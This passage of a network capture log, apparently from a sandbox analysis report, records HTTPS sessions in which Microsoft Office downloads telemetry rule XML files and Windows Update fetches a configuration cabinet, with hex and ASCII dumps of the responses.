2024-11-24 03:22:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:57 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032257Z-178bfbc474bp8mkvhC1NYCzqnn000000056g00000000cgd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:58 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:57 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:57 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032257Z-174c587ffdfks6tlhC1TEBeza400000003w000000000h0yf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:58 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49795	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SrGlYPw41PRTGFr&MD=BoDgbOTN HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 03:22:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ae46170d-7e42-4e8f-97e6-9a5edc7c83a0 MS-RequestId: ed89ead2-cb4e-4a7c-b8e3-1c35935324e7 MS-CV: O4MeL8yqa0KnefCZ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 03:22:57 GMT Connection: close Content-Length: 30005
2024-11-24 03:22:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-24 03:22:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:57 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:58 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 923400a1-601e-005c-187f-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032258Z-174c587ffdfcj798hC1TEB9bq400000003wg00000000sfab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:58 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:59 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:59 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: aa1ebe18-101e-0017-5340-3c47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032259Z-15b8b599d88m7pn7hC1TEB4axw00000003zg000000003qgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:59 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:59 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:59 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032259Z-174c587ffdfb485jhC1TEBmc1s00000003m000000000ntwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:00 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:59 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:00 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e22d4ccd-f01e-001f-230e-3e5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032300Z-178bfbc474bbcwv4hC1NYCypys000000055000000000hxrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:23:00 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:00 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:00 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: aaf9eac1-201e-0000-4977-3ba537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032300Z-174c587ffdfb74xqhC1TEBhabc00000003sg00000000ng40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:00 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:00 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:00 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 80a20124-101e-0046-4f43-3c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032300Z-15b8b599d88z9sc7hC1TEBkr4w00000003xg00000000fgs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:00 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:01 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:02 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032302Z-178bfbc474bpscmfhC1NYCfc2c000000041g00000000440s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:02 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:02 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:02 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9613c870-301e-0052-532e-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032302Z-178bfbc474bw8bwphC1NYC38b4000000053000000000msh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:02 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:02 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
